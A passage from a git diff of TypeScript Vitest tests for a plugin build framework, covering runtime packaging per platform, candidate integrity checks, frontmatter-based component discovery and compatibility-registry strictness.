[0o755, runtimeAssets[0]!.sha256, runtimeAssets[0]!.origin], + ]); + }); + + it('preserves Runtime owner, bytes, hash and origin through Marketplace inheritance', async () => { + const root = await fixture(); + await fs.rm(path.join(root, 'src', 'addons'), { recursive: true }); + await fs.mkdir(path.join(root, 'src', 'runtime'), { recursive: true }); + await fs.writeFile(path.join(root, 'src', 'runtime', 'main.ts'), 'process.stdout.write("marketplace-runtime\\n");\n'); + const platform = definePlatform({ + id: 'marketplace-runtime', apiVersion: '1', deliveryType: 'plugin', + capabilities: { nodeRuntime: { target: 'node20', format: 'esm', root: 'plugin' } }, + createSession: () => ({ + createPackage: ({ project }) => ({ + documents: [], assets: [], + compatibility: project.commands.map(command => ({ + subject: `command:${command.id}`, capability: 'component', level: 'native' as const, reason: 'Native command.', + })), + metadata: metadata(), + }), + finalizePackage: () => ({ id: 'plugin', type: 'plugin' as const }), + validatePackage: () => undefined, + createDistributions: ({ primary }) => [{ + id: 'marketplace', type: 'marketplace' as const, + assets: primary.assets.map(asset => ({ path: `plugin/${asset.path}`, asset: asset.asset })), + }], + }), + }); + const resolved = resolveKernelConfig({ + name: 'runtime-marketplace', version: '1.0.0', description: 'Runtime Marketplace.', platforms: [platform], public: false, + }, { + projectRoot: root, configFile: path.join(root, 'acplugin.config.ts'), command: 'inspect', mode: 'production', + }); + const result = await runKernelBuildSession({ config: resolved.config!, frameworkVersion: 'test', commit: false }); + + expect(result.report.success, JSON.stringify(result.report.diagnostics, null, 2)).toBe(true); + const primary = result.report.packages.find(unit => unit.role === 'primary')!.assets + .find(asset => asset.path === 'runtime/main/main.mjs')!; + const distribution = result.report.packages.find(unit => unit.role === 'distribution')!.assets + .find(asset => asset.path === 'plugin/runtime/main/main.mjs')!; + expect(distribution).toEqual({ ...primary, path: 'plugin/runtime/main/main.mjs' }); + }); + + it('skips broken Runtime compilation when every selected Platform is unsupported', async () => { + const root = await fixture(); + await fs.rm(path.join(root, 'src', 'addons'), { recursive: true }); + await fs.mkdir(path.join(root, 'src', 'runtime'), { recursive: true }); + /** 该 import 若被 portable-node 执行必然失败,用于证明 capability 协商发生在 compile 前。 */ + await fs.writeFile(path.join(root, 'src', 'runtime', 'cli.ts'), 'import "missing-runtime-package";\n'); + const platform = definePlatform({ + id: 'unsupported', apiVersion: '1', deliveryType: 'plugin', strict: false, + createSession: () => ({ + createPackage: ({ project }) => ({ + documents: [], assets: [], + compatibility: project.commands.map(command => ({ + subject: `command:${command.id}`, capability: 'component', level: 'native' as const, reason: 'Native command.', + })), + metadata: metadata(), + }), + finalizePackage: () => ({ id: 'plugin', type: 'plugin' as const }), + validatePackage: () => undefined, + }), + }); + const resolved = resolveKernelConfig({ + name: 'runtime-skip', version: '1.0.0', description: 'Runtime skip.', platforms: [platform], public: false, + }, { + projectRoot: root, configFile: path.join(root, 'acplugin.config.ts'), command: 'inspect', mode: 'production', + }); + const result = await runKernelBuildSession({ config: resolved.config!, frameworkVersion: 'test', commit: false }); + + expect(result.report.success, JSON.stringify(result.report.diagnostics, null, 2)).toBe(true); + expect(result.report.runtimes).toEqual([{ + id: 'cli', kind: 'executable', location: { path: 'src/runtime/cli.ts' }, built: false, + }]); + expect(result.report.packages.flatMap(unit => unit.assets).some(asset => asset.path.startsWith('runtime/'))).toBe(false); + expect(result.report.compatibility).toContainEqual({ + platform: 'unsupported', subject: 'runtime:cli', capability: 'node20-esm', level: 'unsupported', + reason: 'The platform does not provide a stable Plugin-local Node.js runtime.', + }); + expect(result.report.diagnostics).toContainEqual(expect.objectContaining({ + code: 'COMPATIBILITY_RELAXED', severity: 'warning', platform: 'unsupported', + })); + expect(result.report.diagnostics.some(item => item.code === 'NODE_RUNTIME_BUILD_FAILED')).toBe(false); + }); + + it('delivers Runtime only to supported Platforms in a mixed capability build', async () => { + const root = await fixture(); + await fs.rm(path.join(root, 'src', 'addons'), { recursive: true }); + await fs.mkdir(path.join(root, 'src', 'runtime'), { recursive: true }); + await fs.writeFile(path.join(root, 'src', 'runtime', 'worker.mts'), 'export const worker = "ready";\n'); + const platform = (id: string, runtime: boolean) => definePlatform({ + id, apiVersion: '1', deliveryType: 'plugin', strict: false, + ...(runtime ? { capabilities: { nodeRuntime: { target: 'node20' as const, format: 'esm' as const, root: 'plugin' as const } } } : {}), + createSession: () => ({ + createPackage: ({ project }) => ({ + documents: [], assets: [], + compatibility: project.commands.map(command => ({ + subject: `command:${command.id}`, capability: 'component', level: 'native' as const, reason: 'Native command.', + })), + metadata: metadata(), + }), + finalizePackage: () => ({ id: 'plugin', type: 'plugin' as const }), + validatePackage: () => undefined, + }), + }); + const resolved = resolveKernelConfig({ + name: 'runtime-mixed', version: '1.0.0', description: 'Runtime mixed.', + platforms: [platform('supported', true), platform('unsupported', false)], public: false, + runtime: { entries: { worker: { entry: 'worker.mts', kind: 'module' } }, compile: { treeshake: false } }, + }, { + projectRoot: root, configFile: path.join(root, 'acplugin.config.ts'), command: 'inspect', mode: 'production', + }); + const result = await runKernelBuildSession({ config: resolved.config!, frameworkVersion: 'test', commit: false }); + + expect(result.report.success, JSON.stringify(result.report.diagnostics, null, 2)).toBe(true); + expect(result.report.runtimes).toContainEqual(expect.objectContaining({ id: 'worker', kind: 'module', built: true })); + const supported = result.report.packages.find(unit => unit.platform === 'supported')!; + const unsupported = result.report.packages.find(unit => unit.platform === 'unsupported')!; + expect(supported.assets).toContainEqual(expect.objectContaining({ + path: 'runtime/worker/main.mjs', owner: 'framework:node-runtime', mode: 0o644, + })); + expect(unsupported.assets.some(asset => asset.path.startsWith('runtime/'))).toBe(false); + expect(result.report.compatibility.filter(entry => entry.subject === 'runtime:worker').map(entry => [entry.platform, entry.level])).toEqual([ + ['supported', 'native'], + ['unsupported', 'unsupported'], + ]); + }); + + it('fails all package finalization when a selected supported Runtime build fails', async () => { + const root = await fixture(); + await fs.rm(path.join(root, 'src', 'addons'), { recursive: true }); + await fs.mkdir(path.join(root, 'src', 'runtime'), { recursive: true }); + await fs.writeFile(path.join(root, 'src', 'runtime', 'cli.ts'), 'import "missing-runtime-package";\n'); + /** finalize 调用数证明 Runtime build failure 位于全部 Platform finalization 之前。 */ + let finalized = 0; + const platform = definePlatform({ + id: 'supported', apiVersion: '1', deliveryType: 'plugin', + capabilities: { nodeRuntime: { target: 'node20', format: 'esm', root: 'plugin' } }, + createSession: () => ({ + createPackage: ({ project }) => ({ + documents: [], assets: [], + compatibility: project.commands.map(command => ({ + subject: `command:${command.id}`, capability: 'component', level: 'native' as const, reason: 'Native command.', + })), + metadata: metadata(), + }), + finalizePackage: () => { + finalized += 1; + return { id: 'plugin', type: 'plugin' as const }; + }, + validatePackage: () => undefined, + }), + }); + const resolved = resolveKernelConfig({ + name: 'runtime-failure', version: '1.0.0', description: 'Runtime failure.', platforms: [platform], public: false, + }, { + projectRoot: root, configFile: path.join(root, 'acplugin.config.ts'), command: 'build', mode: 'production', + }); + const result = await runKernelBuildSession({ config: resolved.config!, frameworkVersion: 'test', commit: true }); + + expect(result.report.success).toBe(false); + expect(result.report.committed).toBe(false); + expect(result.report.packages).toEqual([]); + expect(finalized).toBe(0); + expect(result.report.diagnostics).toContainEqual(expect.objectContaining({ + code: 'NODE_RUNTIME_BUILD_FAILED', phase: 'compile', owner: 'framework:node-runtime', + })); + }); +}); diff --git a/packages/core/test/candidate-materializer.test.ts b/packages/core/test/candidate-materializer.test.ts new file mode 100644 index 0000000..a06a56d --- /dev/null +++ b/packages/core/test/candidate-materializer.test.ts @@ -0,0 +1,127 @@ +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { afterEach, describe, expect, it } from 'vitest'; +import type { PackageUnitSnapshot } from '../src/kernel-types.js'; +import { AssetRegistry } from '../src/kernel/asset-registry.js'; +import { BuildSessionScope } from '../src/kernel/build-session-scope.js'; +import { SourceRegistry } from '../src/kernel/source-registry.js'; +import { WorkDirectoryRegistry } from '../src/kernel/work-directories.js'; +import { materializePackageCandidate, withPackageCandidate } from '../src/package/candidate-materializer.js'; + +/** Candidate 测试使用并统一清理的临时根。 */ +const roots: string[] = []; + +/** @returns 当前测试独占的 Registry 与临时根。 */ +async function fixture() { + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-candidate-v2-')); + roots.push(root); + const scope = new BuildSessionScope(); + const sources = new SourceRegistry(scope, root); + const work = new WorkDirectoryRegistry(scope, path.join(root, '.work')); + const assets = new AssetRegistry(scope, sources, work); + return { root, scope, sources, work, assets }; +} + +/** @returns 带一个 executable Asset 的最小主 Package Unit。 */ +async function unit(assets: AssetRegistry): Promise { + /** Platform owner 签发的 candidate 内容。 */ + const asset = await assets.service('platform:target').fromBytes({ + bytes: 'export default true;\n', mode: 0o755, origin: { operation: 'runtime-main' }, + }); + return Object.freeze({ + platform: 'target', id: 'plugin', type: 'plugin', role: 'primary', + assets: Object.freeze([{ path: 'runtime/main.mjs', owner: 'platform:target', asset }]), + compatibility: Object.freeze([]), metadata: Object.freeze([]), + }); +} + +afterEach(async () => { + await Promise.all(roots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); +}); + +describe('Package candidate materializer', () => { + it('materializes a complete candidate and always cleans its temporary root', async () => { + const current = await fixture(); + const packageUnit = await unit(current.assets); + let candidateRoot = ''; + + await withPackageCandidate(packageUnit, current.assets, async (candidate) => { + candidateRoot = candidate.root; + expect(await fs.readFile(path.join(candidate.root, 'runtime', 'main.mjs'), 'utf8')).toBe('export default true;\n'); + expect((await fs.stat(path.join(candidate.root, 'runtime', 'main.mjs'))).mode & 0o777).toBe(0o755); + if (process.platform !== 'win32') { + expect((await fs.stat(candidate.root)).mode & 0o777).toBe(0o700); + expect((await fs.stat(path.join(candidate.root, 'runtime'))).mode & 0o777).toBe(0o700); + } + }, current.root); + + await expect(fs.access(candidateRoot)).rejects.toThrow(); + }); + + it('detects validator byte, mode, extra-file, symlink and empty-directory mutations', async () => { + const mutations = [ + async (root: string) => fs.writeFile(path.join(root, 'runtime', 'main.mjs'), 'mutated'), + async (root: string) => fs.chmod(path.join(root, 'runtime', 'main.mjs'), 0o644), + async (root: string) => fs.writeFile(path.join(root, 'extra.txt'), 'extra'), + async (root: string) => fs.symlink(path.join(root, 'runtime', 'main.mjs'), path.join(root, 'link.mjs')), + async (root: string) => fs.mkdir(path.join(root, 'empty')), + ]; + for (const mutate of mutations) { + const current = await fixture(); + const packageUnit = await unit(current.assets); + await expect(withPackageCandidate(packageUnit, current.assets, async (candidate) => { + await mutate(candidate.root); + }, current.root)).rejects.toThrow(/(?:integrity|mode|closure|symbolic link)/u); + } + }); + + it('rejects forged, cross-owner and colliding Package Asset snapshots', async () => { + const current = await fixture(); + const original = await unit(current.assets); + const mapping = original.assets[0]!; + /** 等形复制不能替代 AssetRegistry 中的原始 ref identity。 */ + const forged = Object.freeze({ ...mapping.asset }); + await expect(materializePackageCandidate(Object.freeze({ + ...original, assets: Object.freeze([{ ...mapping, asset: forged }]), + }), current.assets, current.root)).rejects.toThrow('not authorized'); + /** mapping owner 必须与真实 issuer 一致。 */ + await expect(materializePackageCandidate(Object.freeze({ + ...original, assets: Object.freeze([{ ...mapping, owner: 'extension:forged' }]), + }), current.assets, current.root)).rejects.toThrow('owner mismatch'); + /** 文件路径不能同时作为另一个文件的祖先目录。 */ + await expect(materializePackageCandidate(Object.freeze({ + ...original, + assets: Object.freeze([ + mapping, + { ...mapping, path: 'runtime' }, + ]), + }), current.assets, current.root)).rejects.toThrow('collides'); + }); + + it('rejects SourceAsset mutation immediately before candidate materialization', async () => { + const current = await fixture(); + const sourceRoot = path.join(current.root, 'public'); + await fs.mkdir(sourceRoot); + await fs.writeFile(path.join(sourceRoot, 'data.txt'), 'original'); + const directory = await current.sources.issueRoot('framework:public', sourceRoot); + const source = await current.sources.service('framework:public').file(directory, 'data.txt'); + const asset = await current.assets.service('framework:public').fromSource(source); + current.assets.grant('framework:public', 'platform:target', asset); + const packageUnit: PackageUnitSnapshot = Object.freeze({ + platform: 'target', id: 'plugin', type: 'plugin', role: 'primary', + assets: Object.freeze([{ path: 'data.txt', owner: 'framework:public', asset }]), + compatibility: Object.freeze([]), metadata: Object.freeze([]), + }); + await fs.writeFile(path.join(sourceRoot, 'data.txt'), 'changed'); + + await expect(materializePackageCandidate(packageUnit, current.assets, current.root)).rejects.toThrow('changed after'); + }); + + it('makes candidate cleanup idempotent', async () => { + const current = await fixture(); + const handle = await materializePackageCandidate(await unit(current.assets), current.assets, current.root); + await handle.cleanup(); + await expect(handle.cleanup()).resolves.toBeUndefined(); + }); +}); diff --git a/packages/core/test/canonical-provider.test.ts b/packages/core/test/canonical-provider.test.ts new file mode 100644 index 0000000..1deff1c --- /dev/null +++ b/packages/core/test/canonical-provider.test.ts @@ -0,0 +1,168 @@ +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { afterEach, describe, expect, it } from 'vitest'; +import { AssetRegistry } from '../src/kernel/asset-registry.js'; +import { BuildSessionScope } from '../src/kernel/build-session-scope.js'; +import { DiagnosticRegistry } from '../src/kernel/diagnostic-registry.js'; +import { SourceRegistry } from '../src/kernel/source-registry.js'; +import { WatchRegistry } from '../src/kernel/watch-registry.js'; +import { WorkDirectoryRegistry } from '../src/kernel/work-directories.js'; +import { discoverCanonicalProject } from '../src/resources/canonical-provider.js'; +import { ResourceRegistry } from '../src/resources/resource-registry.js'; +import { resolveKernelConfig } from '../src/kernel/config-resolver.js'; +import { definePlatform } from '../src/kernel-contracts.js'; + +/** Canonical Provider 测试临时根。 */ +const roots: string[] = []; + +/** @returns 最小 Platform definition。 */ +function platform(id: string) { + return definePlatform({ + id, apiVersion: '1', deliveryType: 'plugin', + createSession: () => ({ + createPackage: () => ({ documents: [], assets: [], compatibility: [], metadata: [] }), + finalizePackage: () => ({ id: 'plugin', type: 'plugin' }), + validatePackage: () => undefined, + }), + }); +} + +/** + * 创建 Canonical Provider BuildSession fixture。 + * + * @returns 工程根、registries 与发现函数。 + */ +async function fixture() { + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-canonical-provider-')); + roots.push(root); + await fs.writeFile(path.join(root, 'acplugin.config.ts'), 'export default {};\n'); + const configured = resolveKernelConfig({ + name: 'canonical-fixture', version: '1.0.0', description: 'Canonical fixture.', platforms: [platform('codex')], + }, { projectRoot: root, configFile: path.join(root, 'acplugin.config.ts'), command: 'build', mode: 'production' }).config!; + const scope = new BuildSessionScope(); + const sources = new SourceRegistry(scope, root); + const work = new WorkDirectoryRegistry(scope, path.join(root, '.work')); + const assets = new AssetRegistry(scope, sources, work); + const watch = new WatchRegistry(scope, root); + const diagnostics = new DiagnosticRegistry(); + const discover = async () => { + const claims = await new ResourceRegistry({ config: configured, sources, watch, diagnostics }).claim(); + return discoverCanonicalProject({ + metadata: configured.metadata, + platformIds: configured.platforms.map(item => item.definition.id), + claims, + sources, + assets, + diagnostics, + }); + }; + return { root, assets, diagnostics, discover }; +} + +afterEach(async () => { + await Promise.all(roots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); +}); + +describe('Canonical Provider', () => { + it('builds an immutable Component graph with safe locations and auxiliary AssetRefs', async () => { + const current = await fixture(); + await fs.mkdir(path.join(current.root, 'src', 'commands'), { recursive: true }); + await fs.mkdir(path.join(current.root, 'src', 'skills', 'review', 'references'), { recursive: true }); + await fs.mkdir(path.join(current.root, 'src', 'agents'), { recursive: true }); + await fs.writeFile(path.join(current.root, 'src', 'commands', 'check.md'), `--- +description: Check a release. +argumentHint: +requires: + skills: [review] +platforms: + codex: + model: fast +--- +Check {{arguments}}. +`); + await fs.writeFile(path.join(current.root, 'src', 'skills', 'review', 'SKILL.md'), `--- +description: Review a release. +requires: + agents: [reviewer] +--- +Review evidence. +`); + await fs.writeFile(path.join(current.root, 'src', 'skills', 'review', 'references', 'data.bin'), Uint8Array.of(0xff, 0x00)); + await fs.writeFile(path.join(current.root, 'src', 'agents', 'reviewer.md'), `--- +description: Review correctness. +model: capable +capabilities: [filesystem:read, search] +--- +Return findings. +`); + + const project = await current.discover(); + expect(current.diagnostics.diagnostics).toEqual([]); + expect(project.commands[0]).toMatchObject({ + id: 'check', + location: { path: 'src/commands/check.md', bodyLine: 10 }, + requires: { skills: ['review'], agents: [] }, + platforms: { codex: { model: 'fast' } }, + }); + expect(project.skills[0]?.auxiliaryFiles[0]?.path).toBe('references/data.bin'); + expect(current.assets.describe('framework:canonical', project.skills[0]!.auxiliaryFiles[0]!.asset).origin).toEqual({ + type: 'source', resource: 'framework:canonical', path: 'src/skills/review/references/data.bin', + }); + expect(project.agents[0]).toMatchObject({ id: 'reviewer', model: 'capable', capabilities: ['filesystem:read', 'search'] }); + expect(JSON.stringify(project)).not.toContain(current.root); + expect(Object.isFrozen(project)).toBe(true); + expect(Object.isFrozen(project.skills[0]?.auxiliaryFiles)).toBe(true); + }); + + it('reports malformed authoring, platform JSON and invocation rules without creating unsafe data', async () => { + const current = await fixture(); + await fs.mkdir(path.join(current.root, 'src', 'commands', 'nested'), { recursive: true }); + await fs.mkdir(path.join(current.root, 'src', 'skills', 'disabled'), { recursive: true }); + await fs.mkdir(path.join(current.root, 'src', 'agents'), { recursive: true }); + await fs.writeFile(path.join(current.root, 'src', 'commands', 'broken.md'), '---\ndescription: [\n---\nBroken.\n'); + await fs.writeFile(path.join(current.root, 'src', 'commands', 'placeholder.md'), '---\ndescription: Placeholder.\nplatforms:\n ghost: {}\n---\nUse {{ args }}.\n'); + await fs.writeFile(path.join(current.root, 'src', 'skills', 'disabled', 'SKILL.md'), '---\ndescription: Disabled.\ninvocation:\n user: false\n model: false\n---\nDisabled.\n'); + await fs.writeFile(path.join(current.root, 'src', 'agents', 'unsafe.md'), '---\ndescription: Unsafe.\ncapabilities: [raw-tool]\n---\nUnsafe.\n'); + + await current.discover(); + expect(current.diagnostics.diagnostics.map(item => item.code)).toEqual(expect.arrayContaining([ + 'COMMAND_ENTRY_INVALID', 'FRONTMATTER_INVALID', 'COMMAND_PLACEHOLDER_INVALID', + 'COMPONENT_PLATFORM_NOT_CONFIGURED', 'SKILL_INVOCATION_EMPTY', 'AGENT_CAPABILITY_INVALID', + ])); + }); + + it('rejects invalid UTF-8 Markdown and blank dependency values', async () => { + const current = await fixture(); + await fs.mkdir(path.join(current.root, 'src', 'commands'), { recursive: true }); + await fs.writeFile(path.join(current.root, 'src', 'commands', 'binary.md'), Uint8Array.of(0xff, 0xfe)); + await fs.writeFile(path.join(current.root, 'src', 'commands', 'blank.md'), `--- +description: Blank dependency. +requires: + skills: [' '] +--- +Check dependencies. +`); + + await current.discover(); + expect(current.diagnostics.diagnostics.map(item => item.code)).toEqual(expect.arrayContaining([ + 'MARKDOWN_UTF8_INVALID', 'FRONTMATTER_STRING_ARRAY', + ])); + }); + + it('rejects missing, self, duplicate and cyclic Component dependencies', async () => { + const current = await fixture(); + await fs.mkdir(path.join(current.root, 'src', 'commands'), { recursive: true }); + await fs.mkdir(path.join(current.root, 'src', 'skills', 'alpha'), { recursive: true }); + await fs.mkdir(path.join(current.root, 'src', 'skills', 'beta'), { recursive: true }); + await fs.writeFile(path.join(current.root, 'src', 'commands', 'run.md'), '---\ndescription: Run.\nrequires:\n skills: [missing, missing]\n---\nRun.\n'); + await fs.writeFile(path.join(current.root, 'src', 'skills', 'alpha', 'SKILL.md'), '---\ndescription: Alpha.\nrequires:\n skills: [alpha, beta]\n---\nAlpha.\n'); + await fs.writeFile(path.join(current.root, 'src', 'skills', 'beta', 'SKILL.md'), '---\ndescription: Beta.\nrequires:\n skills: [alpha]\n---\nBeta.\n'); + + await current.discover(); + expect(current.diagnostics.diagnostics.map(item => item.code)).toEqual(expect.arrayContaining([ + 'FRONTMATTER_ARRAY_DUPLICATE', 'COMPONENT_DEPENDENCY_MISSING', + 'COMPONENT_DEPENDENCY_SELF', 'COMPONENT_DEPENDENCY_CYCLE', + ])); + }); +}); diff --git a/packages/core/test/compatibility-registry-v2.test.ts b/packages/core/test/compatibility-registry-v2.test.ts new file mode 100644 index 0000000..55c6077 --- /dev/null +++ b/packages/core/test/compatibility-registry-v2.test.ts @@ -0,0 +1,124 @@ +import { describe, expect, it } from 'vitest'; +import type { CanonicalProject } from '../src/kernel-types.js'; +import { DiagnosticRegistry } from '../src/kernel/diagnostic-registry.js'; +import { CompatibilityRegistry, compatibilityTupleKey } from '../src/package/compatibility-registry.js'; + +/** @returns 带 Command → Skill 依赖和可选 metadata 的 Project。 */ +function project(): CanonicalProject { + const requires = (skills: readonly string[] = []) => Object.freeze({ skills: Object.freeze(skills), agents: Object.freeze([]) }); + return Object.freeze({ + metadata: Object.freeze({ + name: 'compatibility', version: '1.0.0', description: 'Compatibility.', displayName: 'Compatibility', + author: Object.freeze({ name: 'TokenRoll' }), keywords: Object.freeze([]), + }), + commands: Object.freeze([{ + kind: 'command' as const, id: 'check', description: 'Check.', body: 'Check.', location: { path: 'src/commands/check.md', bodyLine: 4 }, + requires: requires(['review']), platforms: Object.freeze({}), + }]), + skills: Object.freeze([{ + kind: 'skill' as const, id: 'review', description: 'Review.', body: 'Review.', invocation: { user: true, model: true }, + location: { path: 'src/skills/review/SKILL.md', bodyLine: 4 }, requires: requires(), platforms: Object.freeze({}), auxiliaryFiles: Object.freeze([]), + }]), + agents: Object.freeze([]), + publicFiles: Object.freeze([]), + }); +} + +/** @returns 覆盖当前 Project 实际 metadata 字段的输入。 */ +function metadata() { + return ['name', 'version', 'description', 'displayName', 'author.name'].map(field => ({ + field, disposition: 'emitted' as const, output: `manifest.${field}`, reason: 'Emitted.', + })); +} + +describe('Compatibility Registry v2', () => { + it('propagates dependency degradation and enforces strictness once on the final graph', () => { + const diagnostics = new DiagnosticRegistry(); + const registry = new CompatibilityRegistry({ project: project(), diagnostics }); + registry.addCompatibility('target', [ + { subject: 'command:check', capability: 'component', level: 'native', reason: 'Native.' }, + { subject: 'skill:review', capability: 'component', level: 'unsupported', reason: 'Unavailable.' }, + ]); + registry.addMetadata('target', metadata()); + const result = registry.finalize([{ id: 'target', strict: true }]); + + expect(result.compatibility.find(entry => entry.subject === 'command:check')).toMatchObject({ + level: 'unsupported', causes: [compatibilityTupleKey('skill:review', 'component')], + }); + expect(diagnostics.diagnostics.filter(item => item.code === 'COMPATIBILITY_STRICT_FAILURE')).toHaveLength(2); + }); + + it('reports exact Component/metadata coverage and relaxed warnings', () => { + const diagnostics = new DiagnosticRegistry(); + const registry = new CompatibilityRegistry({ project: project(), diagnostics }); + registry.addCompatibility('target', [ + { subject: 'command:check', capability: 'component', level: 'degraded', reason: 'UI discoverability differs.' }, + ]); + registry.addMetadata('target', [ + { field: 'name', disposition: 'emitted', output: 'manifest.name', reason: 'Emitted.' }, + { field: 'homepage', disposition: 'omitted', reason: 'Absent.' }, + ]); + registry.finalize([{ id: 'target', strict: false }]); + + expect(diagnostics.diagnostics.map(item => item.code)).toEqual(expect.arrayContaining([ + 'COMPATIBILITY_COMPONENT_MISSING', 'METADATA_DISPOSITION_MISSING', + 'METADATA_DISPOSITION_UNUSED', 'COMPATIBILITY_RELAXED', + ])); + expect(diagnostics.diagnostics.find(item => item.code === 'COMPATIBILITY_RELAXED')?.severity).toBe('warning'); + }); + + it('rejects duplicate tuples and missing, self or cyclic causes', () => { + const diagnostics = new DiagnosticRegistry(); + const duplicate = new CompatibilityRegistry({ project: project(), diagnostics }); + duplicate.addCompatibility('target', [{ subject: 'skill:review', capability: 'component', level: 'native', reason: 'Native.' }]); + expect(() => duplicate.addCompatibility('target', [{ subject: 'skill:review', capability: 'component', level: 'native', reason: 'Native.' }])).toThrow('duplicated'); + + const missing = new CompatibilityRegistry({ project: project(), diagnostics: new DiagnosticRegistry() }); + missing.addCompatibility('target', [ + { subject: 'skill:review', capability: 'component', level: 'native', reason: 'Native.', causes: ['agent:missing#component'] }, + { subject: 'command:check', capability: 'component', level: 'native', reason: 'Native.' }, + ]); + missing.addMetadata('target', metadata()); + expect(() => missing.finalize([{ id: 'target', strict: true }])).toThrow('missing or self'); + + const cyclic = new CompatibilityRegistry({ project: project(), diagnostics: new DiagnosticRegistry() }); + cyclic.addCompatibility('target', [ + { subject: 'skill:review', capability: 'component', level: 'native', reason: 'Native.', causes: ['command:check#component'] }, + { subject: 'command:check', capability: 'component', level: 'native', reason: 'Native.', causes: ['skill:review#component'] }, + ]); + cyclic.addMetadata('target', metadata()); + expect(() => cyclic.finalize([{ id: 'target', strict: true }])).toThrow('cycle'); + }); + + it('rejects compatibility and metadata accessors, classes, Symbols and mutable nested inputs', () => { + const diagnostics = new DiagnosticRegistry(); + const registry = new CompatibilityRegistry({ project: project(), diagnostics }); + class Entry {} + const accessor = Object.defineProperty({}, 'subject', { get: () => 'skill:review', enumerable: true }); + expect(() => registry.addCompatibility('target', [new Entry() as never])).toThrow('plain object'); + expect(() => registry.addCompatibility('target', [accessor as never])).toThrow('data property'); + expect(() => registry.addCompatibility('target', [{ + subject: 'skill:review', capability: 'component', level: 'native', reason: 'Native.', [Symbol('hidden')]: true, + } as never])).toThrow('Symbol'); + expect(() => registry.addMetadata('target', [Object.defineProperty({}, 'field', { + get: () => 'name', enumerable: true, + }) as never])).toThrow('data property'); + + const causes = ['command:check#component']; + registry.addCompatibility('target', [{ + subject: 'skill:review', capability: 'component', level: 'native', reason: 'Native.', causes, + }]); + causes[0] = 'agent:mutated#component'; + registry.addCompatibility('target', [{ subject: 'command:check', capability: 'component', level: 'native', reason: 'Native.' }]); + registry.addMetadata('target', metadata()); + expect(registry.finalize([{ id: 'target', strict: true }]).compatibility[1]?.causes).toEqual(['command:check#component']); + }); + + it('sanitizes compatibility and diagnostic free text without reading environment values', () => { + const diagnostics = new DiagnosticRegistry(); + diagnostics.report('package', { + code: 'UNSAFE_TEXT', severity: 'error', message: 'Bearer top-secret failed at /Users/example/private/file.ts\nnext', + }); + expect(diagnostics.diagnostics[0]?.message).toBe(' failed at next'); + }); +}); diff --git a/packages/core/test/compatibility.test.ts b/packages/core/test/compatibility.test.ts deleted file mode 100644 index a26b816..0000000 --- a/packages/core/test/compatibility.test.ts +++ /dev/null @@ -1,131 +0,0 @@ -import { describe, expect, it } from 'vitest'; -import { - CompatibilityCollector, - DiagnosticCollector, - internalPlatformId, - MetadataDispositionCollector, -} from '../src/index.js'; - -/** 兼容性和元数据测试共用的 Codex 开放 PlatformId。 */ -const CODEX_PLATFORM = internalPlatformId('codex'); - -describe('compatibility collector', () => { - it('orders levels and propagates the worst dependency with a complete cause chain', () => { - /** 以故意打乱的顺序加入原始 Subject 兼容性。 */ - const compatibility = new CompatibilityCollector(); - compatibility.addAll([ - { platform: CODEX_PLATFORM, subject: 'skill:b', capability: 'component', level: 'native', reason: 'Native Skill.' }, - { platform: CODEX_PLATFORM, subject: 'agent:c', capability: 'component', level: 'unsupported', reason: 'Agent unavailable.' }, - { platform: CODEX_PLATFORM, subject: 'command:a', capability: 'component', level: 'native', reason: 'Native Command.' }, - { platform: CODEX_PLATFORM, subject: 'skill:d', capability: 'component', level: 'transform', reason: 'Semantic transform.' }, - ]); - compatibility.propagateDependencies([ - { subject: 'command:a', dependsOn: ['skill:b'] }, - { subject: 'skill:b', dependsOn: ['agent:c'] }, - ]); - - expect(compatibility.entries.map(entry => entry.level)).toEqual([ - 'unsupported', 'native', 'unsupported', 'native', 'unsupported', 'transform', - ]); - expect(compatibility.entries).toContainEqual(expect.objectContaining({ - subject: 'command:a', level: 'unsupported', causes: ['skill:b', 'agent:c'], - })); - expect(compatibility.entries).toContainEqual(expect.objectContaining({ - subject: 'skill:b', level: 'unsupported', causes: ['agent:c'], - })); - }); - - it('relaxes only functional compatibility while structural errors still fail', () => { - /** 同时接收结构错误和 relaxed compatibility warning 的诊断集合。 */ - const diagnostics = new DiagnosticCollector(); - diagnostics.error('SCHEMA_INVALID', 'A required field is invalid.', { phase: 'scan' }); - /** 当前 Platform 的单项降级结论。 */ - const compatibility = new CompatibilityCollector(); - compatibility.add({ - platform: CODEX_PLATFORM, - subject: 'agent:reviewer', - capability: 'model', - level: 'degraded', - reason: 'The model constraint is not preserved.', - }); - compatibility.applyStrictness(diagnostics, { id: CODEX_PLATFORM, strict: false }); - - expect(diagnostics.hasErrors).toBe(true); - expect(diagnostics.diagnostics).toContainEqual(expect.objectContaining({ code: 'SCHEMA_INVALID', severity: 'error' })); - expect(diagnostics.diagnostics).toContainEqual(expect.objectContaining({ code: 'COMPATIBILITY_RELAXED', severity: 'warning' })); - }); - - it('accepts native and transform in strict mode but rejects degraded and unsupported', () => { - /** 严格模式下接收全部四个兼容性等级的诊断集合。 */ - const diagnostics = new DiagnosticCollector(); - /** 覆盖四个有序等级的兼容性集合。 */ - const compatibility = new CompatibilityCollector(); - compatibility.addAll([ - { platform: CODEX_PLATFORM, subject: 'skill:native', capability: 'component', level: 'native', reason: 'Native.' }, - { platform: CODEX_PLATFORM, subject: 'command:transform', capability: 'component', level: 'transform', reason: 'Transformed.' }, - { platform: CODEX_PLATFORM, subject: 'agent:degraded', capability: 'component', level: 'degraded', reason: 'Degraded.' }, - { platform: CODEX_PLATFORM, subject: 'hook:unsupported', capability: 'component', level: 'unsupported', reason: 'Unsupported.' }, - ]); - compatibility.applyStrictness(diagnostics, { id: CODEX_PLATFORM, strict: true }); - - expect(diagnostics.diagnostics.filter(item => item.code === 'COMPATIBILITY_STRICT')).toHaveLength(2); - }); - - it('applies strictness to generate checkpoints and dependency propagation without duplicating earlier conclusions', () => { - /** 模拟 prepare/Adapter、generateBundle 和依赖传播共用的兼容性集合。 */ - const compatibility = new CompatibilityCollector(); - /** 严格与宽松 Platform 分别验证 error 和 warning。 */ - const strictDiagnostics = new DiagnosticCollector(); - /** relaxed checkpoint 只应收到新结论对应的 